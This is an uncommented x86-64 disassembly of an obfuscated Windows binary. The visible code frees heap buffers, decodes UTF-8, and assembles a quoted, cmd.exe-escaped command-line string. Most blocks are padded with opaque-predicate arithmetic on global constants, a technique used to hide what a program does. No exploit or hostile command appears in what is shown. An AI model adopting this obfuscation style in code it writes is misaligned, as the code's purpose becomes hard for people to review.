cmp eax, 0xa4e1e3d4
jne 0x1400b06ca
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], r10
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], r10
mov word [rsp + 0x170], 0
mov eax, dword [0x141f40520]
xor edx, edx
div dword [0x141f40524]
and eax, 0x42805000
cmp eax, 0x27d31413
jbe 0x1400b0718
lea rcx, [rsp + 0x120]
lea rdx, [rsp + 0x160]
call fcn.140096e40
lea rdi, [rsp + 0x120]
mov eax, dword [0x141f40528]
xor edx, edx
div dword [0x141f4052c]
imul esi, eax, 0x137d5d47
add esi, 0xc19878a5
and esi, 0x948cb6a9
mov rcx, rdi
lea rdx, [rsp + 0x160]
call fcn.140096e40
cmp esi, 0x12a1a394
jb 0x1400b0720
cmp qword [rsp + 0x110], 0
je 0x1400b0798
mov eax, dword [0x141f40530]
sub eax, dword [0x141f40534]
add eax, 0x5b5376a4
or eax, 0xea255a9f
cmp eax, 0xec9276fe
jae 0x1400b0787
mov rax, qword [0x141f49060]
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, qword [rsp + 0x68]
call r12
mov eax, dword [0x141f40538]
and eax, dword [0x141f4053c]
add eax, 0x3bf1e030
imul rax, rax, 0x3a0e1fbf
shr rax, 0x3d
or eax, 0x5d6baf10
cmp eax, 0x604446d0
ja 0x1400b0798
mov rsi, qword [rsp + 0x130]
mov eax, dword [0x141f40540]
sub eax, dword [0x141f40544]
xor eax, 0x7d50fb4
imul rax, rax, 0x5a452479
shr rax, 0x3d
imul eax, eax, 0x8dad4ece
cmp eax, 0x2adf447e
je 0x1400b07c8
cmp rsi, qword [rsp + 0x120]
jne 0x1400b08eb
mov eax, dword [0x141f40548]
or eax, dword [0x141f4054c]
or eax, 0x48108102
and eax, 0x7d90f503
xor eax, 0xb55af933
cmp eax, 0xa802839e
jb 0x1400b08c3
jmp 0x1400b0890
mov qword [rsp + 0x20], 2
mov r9d, 2
lea rcx, [rsp + 0x120]
mov rdx, r10
mov r8, rsi
call fcn.1401035b0
mov rcx, qword [rsp + 0x128]
mov r10, qword [rsp + 0x130]
mov edx, 0xf53fd7f7
mov eax, dword [0x141f404b8]
or eax, dword [0x141f404bc]
xor eax, 0x7f7673c9
imul rax, rdx
shr rax, 0x3c
xor eax, 0xc66df517
cmp eax, 0xf1a37f48
ja 0x1400b085e
mov rsi, qword [rsp + 0x1e0]
jmp 0x1400b035a
mov edi, dword [0x141f40550]
sub edi, dword [0x141f40554]
add edi, 0x25bd6bd7
and edi, 0x5f2c639c
xor edi, 0x3767fe8f
lea rcx, [rsp + 0x120]
call fcn.1400e09f0
cmp edi, 0x86c41889
jbe 0x1400b08d2
lea rcx, [rsp + 0x120]
call fcn.1400e09f0
jmp 0x1400b0890
mov eax, dword [0x141f40558]
sub eax, dword [0x141f4055c]
imul eax, eax, 0xba5d2f3
cmp eax, 0x66528e8c
je 0x1400b08d2
mov rcx, qword [rsp + 0x128]
mov eax, dword [str._kjs]
xor edx, edx
div dword [0x141f40564]
imul eax, eax, 0xc654eb8b
xor eax, 0xdbb65352
lea rdx, [rsi + 1]
mov word [rcx + rsi*2], 0
mov qword [rsp + 0x130], rdx
cmp eax, 0x418b4833
jae 0x1400b0939
mov word [rcx + rsi*2], 0
lea rax, [rsi + 1]
mov qword [rsp + 0x130], rax
jmp 0x1400b08f3
mov qword [rsp + 0x148], rdx
mov qword [rsp + 0x70], rcx
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x1f0]
call fcn.1400b9b40
mov rdx, qword [rsp + 0xa0]
test rdx, rdx
jne 0x1400aff6c
movabs rbx, 0x8000000000000000
jmp 0x1400b0987
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, rsi
call r12
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x1f0]
call fcn.1400b9b40
mov r14, qword [rsp + 0xa0]
test r14, r14
je 0x1400b1127
nop dword [rax]
mov eax, dword [0x141f40400]
xor eax, dword [0x141f40404]
xor eax, 0x581ad2f1
imul eax, eax, 0x5dc72c4c
add eax, 0x78f90f18
cmp eax, 0xce59029e
ja 0x1400b09b0
mov rbx, qword [rsp + 0xb0]
imul rax, rbx, 0x38
lea rdi, [r14 + rax]
add rdi, 0x168
cmp qword [r14 + rax + 0x168], 0
je 0x1400b0a40
mov rsi, qword [rdi + 8]
mov r15d, dword [0x141f40408]
or r15d, dword [0x141f4040c]
or r15d, 0xd3fe05f7
add r15d, 0x5e145cf2
or r15d, 0x2297f56
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, rsi
call r12
cmp r15d, 0xd9a81e42
ja 0x1400b09f9
mov r15, qword [rsp + 0x80]
nop dword [rax]
mov eax, dword [0x141f40410]
xor eax, dword [0x141f40414]
and eax, 0x22200e0
xor eax, 0xa2200cb9
cmp eax, 0x62926611
jb 0x1400b0a40
nop dword [rax]
mov eax, dword [0x141f40418]
xor edx, edx
div dword [0x141f4041c]
and eax, 0xc0c0108
add eax, 0x3207c412
cmp eax, 0x43de333e
ja 0x1400b0a60
mov rax, qword [rdi + 0x20]
nop word cs:[rax + rax]
mov ecx, dword [0x141f40420]
or ecx, dword [0x141f40424]
add ecx, 0x5b54b57e
or ecx, 0x56c0824a
imul ecx, ecx, 0xee247aae
cmp ecx, 0x94255d7
jb 0x1400b0a90
test rax, rax
je 0x1400b0afa
mov rsi, qword [rdi + 0x28]
mov rdi, qword [0x141f49060]
mov eax, dword [0x141f40428]
imul eax, dword [0x141f4042c]
or eax, 0xcfff77ff
xor eax, 0x1e4018bb
cmp eax, 0x3262eb66
jae 0x1400b0aef
mov rcx, rdi
xor edx, edx
mov r8, rsi
call r12
mov rcx, rdi
xor edx, edx
mov r8, rsi
call r12
shl rbx, 5
lea rcx, [r14 + rbx]
mov r8, qword [r14 + rbx]
nop word cs:[rax + rax]
mov eax, dword [0x141f40430]
xor edx, edx
div dword [0x141f40434]
imul rax, rax, 0x7a7e0e15
shr rax, 0x3d
imul eax, eax, 0xcd1f251c
or eax, 0x32139d8d
cmp eax, 0x72327cd6
ja 0x1400b0b10
test r8, r8
movabs rbx, 0x8000000000000000
je 0x1400b0987
mov rsi, qword [rcx + 8]
mov eax, dword [0x141f40438]
or eax, dword [0x141f4043c]
xor eax, 0x10061180
and eax, 0x500e9181
xor eax, 0xcfd43053
cmp eax, 0x60f96713
jae 0x1400b0978
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, rsi
call r12
jmp 0x1400b0978
test rax, rax
je 0x1400b0ba0
mov rcx, qword [0x141f49060]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x110], 0
mov r8, qword [rsp + 0x68]
je 0x1400b0bdf
mov rcx, qword [0x141f49060]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x141f404e0]
xor edx, edx
div dword [0x141f404e4]
and eax, 0xc93bca7d
imul eax, eax, 0xd3ba7993
cmp eax, 0xf9d6ab86
je 0x1400b0bbf
mov eax, dword [0x141f405d0]
imul eax, dword [0x141f405d4]
add eax, 0x12ce9786
or eax, 0xae0e0dd5
add eax, 0x55b09991
cmp eax, 0x31ab59e1
jb 0x1400b0bdf
mov r8, qword [rsp + 0x118]
mov eax, dword [0x141f405d8]
sub eax, dword [0x141f405dc]
or eax, 0x92e0404f
xor eax, 0x223f2124
add eax, 0xcdd952c3
cmp eax, 0xfdbf71ea
ja 0x1400b0c0a
cmp qword [rsp + 0x1c0], 0
je 0x1400b0d08
mov eax, dword [0x141f405e0]
mov ecx, dword [0x141f405e4]
add eax, ecx
add eax, 0xa6ebab25
or eax, 0x525cc082
imul eax, eax, 0x90404800
cmp eax, 0x40f63b30
jb 0x1400b0c3b
mov eax, dword [0x141f405e8]
imul eax, dword [0x141f405ec]
xor eax, 0x996b7412
imul eax, eax, 0x91fb410e
cmp eax, 0xa22d2e94
je 0x1400b0c60
jmp 0x1400b0cf9
mov eax, 0xe2658429
mov rdx, r13
mov ecx, dword [0x141f406b0]
or ecx, dword [str.mV]
imul rcx, rax
shr rcx, 0x3d
add ecx, 0x26e02d4d
or ecx, 0x225147fe
cmp r14d, 6
mov r13, rbx
cmove r13, rdx
cmp ecx, 0x306b4eaa
ja 0x1400b0c89
mov eax, dword [0x141f406b8]
xor edx, edx
div dword [0x141f406bc]
xor eax, 0x95100640
or eax, 0x6aedb9be
add eax, 0x9b14f9b8
cmp eax, 0x71e8e65d
jb 0x1400b22b3
jmp 0x1400b2287
cmp qword [rsp + 0x110], 0
mov r8, qword [rsp + 0x68]
je 0x1400b0d08
mov rcx, qword [0x141f49060]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rax, [0x141f259c0]
mov qword [rsp + 0x68], rax
lea rbx, [rsp + 0xa0]
lea r15, [rsp + 0x1f0]
jmp 0x1400b0d30
mov r14, qword [rsp + 0x58]
nop dword [rax + rax]
mov eax, dword [0x141f40568]
or eax, dword [0x141f4056c]
add eax, 0x35785241
shr eax, 1
imul rax, rax, 0x4d5d55a7
shr rax, 0x3d
xor eax, 0xcfe2941d
cmp eax, 0xb246e006
jb 0x1400b0d30
mov rcx, rbx
mov rdx, r15
call fcn.1400b9b40
mov r13, qword [rsp + 0xa0]
test r13, r13
je 0x1400b0f5d
nop word cs:[rax + rax]
mov eax, dword [0x141f40570]
and eax, dword [0x141f40574]
add eax, 0x2ec32f87
xor eax, 0x22c0f39b
add eax, 0x28cac43a
cmp eax, 0xe50d9129
ja 0x1400b0d80
mov r14, qword [rsp + 0xb0]
imul rax, r14, 0x38
lea rsi, [rax + r13]
add rsi, 0x168
cmp qword [r13 + rax + 0x168], 0
je 0x1400b0e30
mov eax, dword [0x141f40578]
xor eax, dword [0x141f4057c]
mov ecx, 0xe3d1bbc3
imul rax, rcx
shr rax, 0x3f
add eax, 0x4496e41d
xor eax, 0x38794f0a
cmp eax, 0x11509e83
jb 0x1400b0f48
mov eax, dword [0x141f40580]
mov ecx, dword [0x141f40584]
lea edi, [rax + rcx]
add edi, 0xb84a6b24
xor edi, 0x6e422a1f
add edi, 0x21b2d49e
mov r8, qword [rsi + 8]
mov rcx, qword [0x141f49060]
xor edx, edx
call r12
cmp edi, 0xe23d9a85
ja 0x1400b0f48
nop
mov eax, dword [0x141f40588]
xor edx, edx
div dword [0x141f4058c]
or eax, 0x9d8a5f3e
imul eax, eax, 0x1bea9e60
add eax, 0xeab3cd57
cmp eax, 0x54f4c23
jb 0x1400b0e30
cmp qword [rsi + 0x20], 0
je 0x1400b0ed0
mov rsi, qword [rsi + 0x28]
mov rdi, qword [0x141f49060]
mov eax, dword [0x141f40590]
or eax, dword [0x141f40594]
or eax, 0x5bea8745
imul rax, rax, 0x976dc43
shr rax, 0x3b
xor eax, 0x971a229f
cmp eax, 0xf313b094
jbe 0x1400b0ea0
mov rcx, rdi
xor edx, edx
mov r8, rsi
call r12
nop word [rax + rax]
mov eax, dword [0x141f40598]
xor edx, edx
div dword [0x141f4059c]
mov ebp, eax
mov rcx, rdi
xor edx, edx
mov r8, rsi
call r12
cmp ebp, 0x85ad5d16
je 0x1400b0ea0
nop word cs:[rax + rax]
mov eax, dword [0x141f405a0]
add eax, dword [str.uPM]
and eax, 0x11c20a21
add eax, 0xc234dba8
cmp eax, 0xba651b26
jb 0x1400b0ed0
shl r14, 5
cmp qword [r13 + r14], 0
je 0x1400b0d26
add r13, r14
mov rsi, qword [r13 + 8]
nop word cs:[rax + rax]
mov eax, dword [0x141f405a8]
xor edx, edx
div dword [0x141f405ac]
mov edi, eax
xor edi, 0x1a088a00
or edi, 0x65b775ff
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, rsi
call r12
cmp edi, 0x7fbc66d0
jb 0x1400b0f10
jmp 0x1400b0d26
mov r8, qword [rsi + 8]
mov rcx, qword [0x141f49060]
xor edx, edx
call r12
jmp 0x1400b0df2
mov rdx, qword [rsp + 0x98]
mov eax, dword [0x141f405b0]
xor eax, dword [0x141f405b4]
or eax, 0xaff8b6b4
xor eax, 0x8a816b
imul eax, eax, 0x89d66a45
cmp eax, 0x95b71a9f
je 0x1400b0f65
mov r13, qword [rsp + 0x90]
mov r15, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x68]
mov eax, dword [0x141f405b8]
mov ecx, dword [0x141f405bc]
add eax, ecx
add eax, 0x95fdd87a
cmp eax, 0xb3ee69ab
ja 0x1400b0f9d
mov rax, qword [rsp + 0x120]
xor ecx, ecx
test cl, cl
jne 0x1400b0fc1
test rax, rax
je 0x1400b100d
mov eax, dword [str._lzOXg]
imul eax, dword [0x141f405c4]
add eax, 0x1b98fa64
and eax, 0x6c107898
imul eax, eax, 0xc4b19e85
cmp eax, 0xb90d9ce1
ja 0x1400b0fca
mov r8, qword [rsp + 0x128]
mov rcx, qword [0x141f49060]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdx, qword [rsp + 0x98]
mov eax, dword [0x141f405c8]
and eax, dword [0x141f405cc]
imul eax, eax, 0x209abc43
or eax, 0xf7f77d6e
cmp eax, 0xbb56cbdd
jbe 0x1400b100d
mov qword [rdx], rsi
mov qword [rdx + 0x10], 2
jmp 0x1400b28d2
mov qword [rcx + 0x10], 2
mov qword [rcx + 0x10], 2
jmp 0x1400b2bbc
mov qword [rsp + 0x1f0], rcx
mov qword [rsp + 0x1f8], r8
mov word [rsp + 0x200], 0
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x1f0]
call fcn.1400b3150
mov rcx, qword [rsp + 0xa0]
mov rdi, qword [rsp + 0xb0]
cmp rdi, rcx
jne 0x1400b1103
lea rsi, [rsp + 0xa0]
mov eax, dword [0x141f40668]
add eax, dword [0x141f4066c]
xor eax, 0x21aba9c3
imul ebx, eax, 0xbcfa0b1a
xor ebx, 0xf1ae24a9
mov rcx, rsi
call fcn.1400e09f0
cmp ebx, 0xcaeb3261
jbe 0x1400b10d3
mov rcx, rsi
call fcn.1400e09f0
jmp 0x1400b109c
mov rcx, qword [rsp + 0xa0]
movabs rbx, 0x8000000000000000
mov eax, dword [0x141f40670]
sub eax, dword [0x141f40674]
imul eax, eax, 0x4f3059a8
add eax, 0xdb0ca590
cmp eax, 0xdc2508fa
ja 0x1400b10e5
mov rsi, qword [rsp + 0xa8]
mov word [rsi + rdi*2], 0
mov qword [rsp + 0x110], rsi
cmp rcx, rbx
jne 0x1400af986
jmp 0x1400afcbe
mov rax, qword [rsp + 0x120]
mov ecx, 0xa8c5efc7
mov r8, qword [rsp + 0x148]
mov edx, dword [0x141f40440]
or edx, dword [0x141f40444]
xor edx, 0xe32479b4
shr edx, 1
imul rdx, rcx
shr rdx, 0x3e
add edx, 0x4f29e125
cmp edx, 0xdf2f523
jb 0x1400b113c
cmp r8, rax
mov r14, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x70]
jne 0x1400b11a6
lea rcx, [rsp + 0x120]
call fcn.1400e09f0
mov rcx, qword [rsp + 0x128]
mov eax, dword [0x141f404a0]
imul eax, dword [0x141f404a4]
cmp eax, 0x9a211422
je 0x1400b118a
mov r8, qword [rsp + 0x148]
mov word [rcx + r8*2], 0
mov rax, qword [rsp + 0x120]
cmp rax, rbx
jne 0x1400b11fd
mov rsi, rcx
mov rdx, qword [rsp + 0x98]
jmp 0x1400b102b
lea rcx, [0x141f49050]
call fcn.140101410
mov eax, dword [0x141f40680]
sub eax, dword [0x141f40684]
add eax, 0xf9bb17b5
and eax, 0xa2a10dbf
add eax, 0xdb37ff70
cmp eax, 0xfe5146ea
ja 0x1400b11d6
jmp 0x1400afd24
mov qword [rsp + 0x68], rax
mov r12, qword [rsp + 0x128]
jmp 0x1400af8fa
mov eax, dword [0x141f40230]
xor eax, dword [0x141f40234]
imul eax, eax, 0x6a900055
lea rbx, [rsi + 1]
mov word [r14 + rsi*2], 0x22
mov qword [rsp + 0xb0], rbx
cmp eax, 0x7c1cb10b
jae 0x1400b1250
mov word [r14 + rsi*2], 0x22
lea rax, [rsi + 1]
mov qword [rsp + 0xb0], rax
jmp 0x1400b120f
test rdi, rdi
mov r14, qword [rsp + 0x58]
je 0x1400b21d4
lea rax, [rdi + rdi*4]
mov rsi, qword [rsp + 0x70]
lea rax, [rsi + rax*8]
mov qword [rsp + 0x1c0], rax
lea r13, [rsp + 0xa0]
mov ebx, 0x88fa48ab
movdqa xmm6, xmmword [0x140108d90]
lea r12, [0x141f259c0]
mov rdi, qword [rsp + 0xb0]
cmp rdi, qword [rsp + 0xa0]
jne 0x1400b12a9
mov rcx, r13
call fcn.1400e09f0
lea rax, [rsi + 0x28]
mov qword [rsp + 0x118], rax
nop word cs:[rax + rax]
mov eax, dword [0x141f40250]
and eax, dword [0x141f40254]
add eax, 0x9ce0f99
xor eax, 0xeb20badd
mov rcx, qword [rsp + 0xa8]
mov word [rcx + rdi*2], 0x20
cmp eax, 0x3122c2bb
jb 0x1400b12c0
lea rbp, [rdi + 1]
mov qword [rsp + 0xb0], rbp
cmp qword [rsi], 0
je 0x1400b135a
mov rcx, r13
mov rdx, rsi
movzx r8d, byte [rsp + 0x110]
call fcn.1400b8880
test rax, rax
jne 0x1400b2260
mov eax, dword [0x141f403c8]
imul eax, dword [0x141f403cc]
imul eax, eax, 0x78d6c211
cmp eax, 0xc36910e4
je 0x1400b131a
mov rax, qword [rsp + 0x118]
mov rsi, rax
cmp rax, qword [rsp + 0x1c0]
mov r15, qword [rsp + 0x80]
jne 0x1400b128f
jmp 0x1400b21a4
mov r10, qword [rsi + 0x10]
mov r8, qword [rsi + 0x18]
lea rsi, [r10 + r8]
mov rax, r10
test r8, r8
je 0x1400b13be
movzx edx, byte [rax]
cmp edx, 0xa
je 0x1400b2161
cmp edx, 0xd
je 0x1400b2161
nop word cs:[rax + rax]
mov edx, dword [0x141f40258]
add edx, dword [0x141f4025c]
xor edx, 0x4b85e0a1
imul edx, edx, 0xaf2efdef
or edx, 0x1d94fd00
cmp edx, 0x1fb50907
jb 0x1400b1390
inc rax
cmp rax, rsi
jne 0x1400b136e
xor eax, eax
test al, al
jne 0x1400b13c0
mov eax, dword [0x141f40260]
xor eax, dword [0x141f40264]
or eax, 0x8221446a
and eax, 0x8329646f
imul eax, eax, 0xe9285d65
cmp eax, 0x94f3bdd8
ja 0x1400b13c4
xor edx, edx
mov r9, r10
mov qword [rsp + 0x68], r10
mov qword [rsp + 0x70], rsi
jmp 0x1400b1410
xor edx, edx
test r10w, r10w
je 0x1400b2168
nop word cs:[rax + rax]
mov eax, dword [0x141f40268]
add eax, dword [0x141f4026c]
imul rax, rbx
shr rax, 0x3b
xor eax, 0xf18d3683
imul eax, eax, 0x778e17c2
cmp eax, 0x4633bb8c
ja 0x1400b1410
mov r10w, 1
test dx, dx
jne 0x1400b13f8
cmp r9, rsi
je 0x1400b15d3
nop dword [rax]
mov eax, dword [0x141f40270]
xor edx, edx
div dword [0x141f40274]
xor eax, 0x85e94db7
imul eax, eax, 0xc9d8291c
add eax, 0xbe9d7341
cmp eax, 0x97a523b5
ja 0x1400b1450
movzx eax, byte [r9]
test al, al
js 0x1400b1488
inc r9
mov r11, r9
jmp 0x1400b15a0
mov edx, eax
and edx, 0x1f
lea r11, [r9 + 2]
movzx r14d, byte [r9 + 1]
mov esi, edx
shl esi, 6
and r14d, 0x3f
mov r15d, dword [0x141f40278]
imul r15d, dword [0x141f4027c]
or r15d, 0xefaef74f
add r15d, 0x9b1ee028
cmp r15d, 0xc5af87a0
ja 0x1400b149f
cmp al, 0xdf
jbe 0x1400b1525
lea rsi, [r9 + 3]
mov r15d, dword [0x141f40280]
add r15d, dword [0x141f40284]
and r15d, 0x282b7950
add r15d, 0x862ef109
cmp r15d, 0x7b81b338
jb 0x1400b14cd
movzx r11d, byte [r11]
shl r14d, 6
and r11d, 0x3f
or r11d, r14d
cmp al, 0xf0
jb 0x1400b1539
movzx eax, byte [r9 + 3]
add r9, 4
and edx, 7
shl edx, 0x12
shl r11d, 6
and eax, 0x3f
or eax, r11d
or eax, edx
mov rsi, r9
jmp 0x1400b1542
or esi, r14d
mov eax, esi
mov r15, qword [rsp + 0x80]
mov r14, qword [rsp + 0x58]
jmp 0x1400b158d
shl edx, 0xc
or r11d, edx
mov eax, r11d
mov r15, qword [rsp + 0x80]
mov r14, qword [rsp + 0x58]
mov edx, dword [0x141f40288]
imul edx, dword [0x141f4028c]
add edx, 0x2b8755db
cmp edx, 0xcb93a969
ja 0x1400b154f
cmp eax, 0xffff
jbe 0x1400b158a
and eax, 0x3ff
or eax, 0xdc00
mov r9, rsi
mov edx, eax
mov rsi, qword [rsp + 0x70]
jmp 0x1400b13fa
mov r11, rsi
mov rsi, qword [rsp + 0x70]
nop word cs:[rax + rax]
mov edx, dword [0x141f40290]
add edx, dword [0x141f40294]
or edx, 0x7b7f0035
imul edx, edx, 0xd1d52f83
xor edx, 0x6d18a13c
cmp edx, 0xef91bc19
jae 0x1400b15a0
xor edx, edx
mov r9, r11
mov r10d, eax
jmp 0x1400b13fa
test r8, r8
movzx r10d, byte [rsp + 0x110]
mov esi, 0xb202f341
lea r15, [0x141f25835]
je 0x1400b189f
mov r11, qword [rsp + 0x68]
test r10b, r10b
setne al
mov r9d, dword [0x141f40298]
or r9d, dword [0x141f4029c]
xor r9d, 0xd0493120
and r9d, 0xf849b5bc
cmp byte [r8 + r11 - 1], 0x5c
sete dl
cmp r9d, 0x5fe4f4dc
ja 0x1400b15f6
or al, dl
mov rdx, r11
jmp 0x1400b163e
mov al, 1
cmp rdx, qword [rsp + 0x70]
je 0x1400b188d
movzx r8d, byte [rdx]
test r8b, r8b
js 0x1400b167a
inc rdx
nop word [rax + rax]
mov r9d, dword [0x141f402a0]
sub r9d, dword [0x141f402a4]
xor r9d, 0x6e13850f
add r9d, 0xc3244dd0
cmp r9d, 0x74d3e617
jae 0x1400b1650
jmp 0x1400b1793
mov r9d, r8d
and r9d, 0x1f
movzx r11d, byte [rdx + 1]
and r11d, 0x3f
cmp r8b, 0xdf
jbe 0x1400b1775
mov r10d, dword [0x141f402a8]
or r10d, dword [0x141f402ac]
imul r10d, r10d, 0x34f74829
and r10d, 0x74cfd9c5
xor r10d, 0xd1b2a7f8
cmp r10d, 0x288ee69a
jb 0x1400b1694
shl r11d, 6
movzx r10d, byte [rdx + 2]
and r10d, 0x3f
or r10d, r11d
cmp r8b, 0xf0
jb 0x1400b1785
mov r8d, dword [0x141f402b0]
or r8d, dword [0x141f402b4]
xor r8d, 0x218c9a8b
add r8d, 0x2736d3e2
and r8d, 0x3fdc1b31
cmp r8d, 0x18528c73
jb 0x1400b16da
mov r11d, 0xa2c000c5
mov r8d, dword [0x141f402b8]
add r8d, dword [0x141f402bc]
imul r8, r11
shr r8, 0x3d
or r8d, 0x12216711
cmp r8d, 0x7898786d
ja 0x1400b170c
movzx r8d, byte [rdx + 3]
add rdx, 4
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r8d, 0x3f
mov r11d, dword [0x141f402c0]
or r11d, dword [0x141f402c4]
imul r11d, r11d, 0x1a7a9a69
and r11d, 0x8b5e597a
cmp r11d, 0x2309a87d
jb 0x1400b174b
or r10d, r8d
jmp 0x1400b178d
add rdx, 2
shl r9d, 6
or r9d, r11d
mov r8d, r9d
jmp 0x1400b1793
add rdx, 3
shl r9d, 0xc
or r10d, r9d
mov r8d, r10d
cmp r8d, 0x110000
je 0x1400b1633
mov r9d, r8d
and r9d, 0x1ff800
cmp r9d, 0xd800
je 0x1400b1633
mov r9d, dword [0x141f403b0]
or r9d, dword [0x141f403b4]
or r9d, 0xdbbc2ffb
add r9d, 0x7feb7251
cmp r9d, 0xfef38800
ja 0x1400b17b7
cmp r8d, 0x80
jae 0x1400b183d
lea r9d, [r8 - 0x30]
cmp r9d, 0xa
jb 0x1400b183d
mov r9d, r8d
and r9d, 0xffffffdf
add r9d, 0xffffffbf
cmp r9d, 0x19
jbe 0x1400b183d
mov r10d, dword [0x141f403c0]
add r10d, dword [0x141f403c4]
mov r9d, 0
cmp r10d, 0x721a6811
je 0x1400b1800
movzx r10d, byte [r9 + r15]
cmp r10b, r8b
je 0x1400b1834
lea r11, [r9 + 1]
cmp r9, 0xb
mov r9, r11
jne 0x1400b181d
cmp r10b, r8b
jne 0x1400b1631
mov r9d, dword [0x141f403b8]
add r9d, dword [0x141f403bc]
shr r9d, 1
imul r9, r9, 0x48031caf
shr r9, 0x3b
xor r9d, 0xeceb6eda
imul r9d, r9d, 0x513613a4
cmp r9d, 0xceb13005
jb 0x1400b183d
cmp r8d, 0x20
jb 0x1400b1631
add r8d, 0xffffff81
cmp r8d, 0x21
jae 0x1400b1633
jmp 0x1400b1631
test al, 1
jne 0x1400b189f
mov al, 1
mov dword [rsp + 0x148], eax
jmp 0x1400b1921
mov eax, dword [0x141f402c8]
or eax, dword [0x141f402cc]
xor eax, 0xdf146c4c
add eax, 0x233c9793
and eax, 0xb61da01f
cmp eax, 0x56209a9f
ja 0x1400b189f
mov rax, qword [rsp + 0xa0]
mov edx, dword [0x141f402d0]
or edx, dword [0x141f402d4]
imul rdx, rsi
shr rdx, 0x3e
or edx, 0x5f5355a0
cmp edx, 0xa3044543
ja 0x1400b18c9
cmp rbp, rax
jne 0x1400b1900
mov rcx, r13
call fcn.1400e09f0
mov rcx, qword [rsp + 0xa8]
mov word [rcx + rdi*2 + 2], 0x22
add rdi, 2
mov qword [rsp + 0xb0], rdi
mov dword [rsp + 0x148], 0
mov rbp, rdi
xor edi, edi
xor r15d, r15d
jmp 0x1400b1940
mov eax, dword [0x141f402d8]
sub eax, dword [0x141f402dc]
imul eax, eax, 0x4b012684
add eax, 0x9c5aae08
or eax, 0x96c9640d
cmp eax, 0xaf9945b8
jb 0x1400b1940
test di, di
jne 0x1400b1ab6
nop dword [rax]
mov eax, dword [0x141f402e0]
xor edx, edx
div dword [0x141f402e4]
add eax, 0x3f13e4e2
or eax, 0xdf5b71ee
and eax, 0xffdff5ff
cmp eax, 0xec230dfa
jb 0x1400b1970
mov r10, qword [rsp + 0x68]
cmp r10, qword [rsp + 0x70]
je 0x1400b1efc
movzx edi, byte [r10]
test dil, dil
js 0x1400b19ba
inc r10
mov qword [rsp + 0x68], r10
jmp 0x1400b1ab6
mov eax, edi
and eax, 0x1f
movzx r8d, byte [r10 + 1]
and r8d, 0x3f
cmp dil, 0xdf
jbe 0x1400b1a52
mov edx, dword [0x141f402e8]
sub edx, dword [0x141f402ec]
imul edx, edx, 0x1a46312e
add edx, 0x6afe3a88
cmp edx, 0x76509f90
ja 0x1400b19d2
movzx edx, byte [r10 + 2]
shl r8d, 6
and edx, 0x3f
or edx, r8d
cmp dil, 0xf0
jb 0x1400b1a65
movzx r8d, byte [r10 + 3]
add r10, 4
and eax, 7
shl eax, 0x12
shl edx, 6
and r8d, 0x3f
mov r9d, dword [0x141f402f0]
add r9d, dword [0x141f402f4]
imul r9, r9, 0x24f4ecfb
shr r9, 0x3d
xor r9d, 0xe5df7451
imul r9d, r9d, 0x1ac8b08
cmp r9d, 0xce64fdd7
jb 0x1400b1a1d
or edx, r8d
jmp 0x1400b1a6c
add r10, 2
mov qword [rsp + 0x68], r10
shl eax, 6
or eax, r8d
mov edi, eax
jmp 0x1400b1ab6
add r10, 3
shl eax, 0xc
or edx, eax
mov edi, edx
mov eax, dword [0x141f402f8]
sub eax, dword [0x141f402fc]
imul eax, eax, 0xf757560b
cmp eax, 0x59b54acc
je 0x1400b1a70
cmp edi, 0xffff
mov qword [rsp + 0x68], r10
jbe 0x1400b1ab6
xor esi, esi
movzx eax, di
cmp eax, 0x24
jg 0x1400b1b73
cmp eax, 0xd
je 0x1400b1b90
cmp eax, 0x22
jne 0x1400b1c43
mov rax, qword [rsp + 0xa0]
mov rdx, rax
sub rdx, rbp
cmp rdx, r15
jae 0x1400b1c53
mov eax, dword [0x141f40370]
xor eax, dword [0x141f40374]
or eax, 0x3d7c22d2
imul eax, eax, 0xd89690a3
and eax, 0x589f5778
cmp eax, 0x318d86c5
jb 0x1400b1eda
mov eax, dword [0x141f40378]
sub eax, dword [0x141f4037c]
xor eax, 0x102a0731
imul r14d, eax, 0xaf1f3846
add r14d, 0x2027a5ca
mov qword [rsp + 0x20], 2
mov r9d, 2
mov rcx, r13
mov rdx, rbp
mov r8, r15
call fcn.1401035b0
cmp r14d, 0x8f3d774a
jb 0x1400b1b14
mov rcx, qword [rsp + 0xa8]
mov rbp, qword [rsp + 0xb0]
mov r14, qword [rsp + 0x58]
jmp 0x1400b1c60
cmp eax, 0x25
je 0x1400b1b90
cmp eax, 0x5c
jne 0x1400b1c4b
inc r15
jmp 0x1400b1de0
mov eax, dword [0x141f40390]
xor edx, edx
div dword [0x141f40394]
xor eax, 0x92418519
and eax, 0xde45b51d
add eax, 0xd4d1d595
cmp eax, 0x928ba886
ja 0x1400b1b90
mov rax, qword [rsp + 0xa0]
sub rax, rbp
cmp rax, 6
jbe 0x1400b1ea5
mov eax, dword [0x141f40398]
or eax, dword [0x141f4039c]
add eax, 0x8291e7a8
mov edx, 0xc0c89267
imul rax, rdx
shr rax, 0x3f
imul eax, eax, 0x5b747756
cmp eax, 0xff25720e
jbe 0x1400b1c1d
movabs rax, 0x2c007e003a0064
mov qword [rcx + rbp*2 + 6], rax
movabs rax, 0x64006300250025
mov qword [rcx + rbp*2], rax
lea rax, [rbp + 7]
mov qword [rsp + 0xb0], rax
movabs rax, 0x2c007e003a0064
mov qword [rcx + rbp*2 + 6], rax
movabs rax, 0x64006300250025
mov qword [rcx + rbp*2], rax
add rbp, 7
jmp 0x1400b1dcb
xor r15d, r15d
jmp 0x1400b1de0
xor r15d, r15d
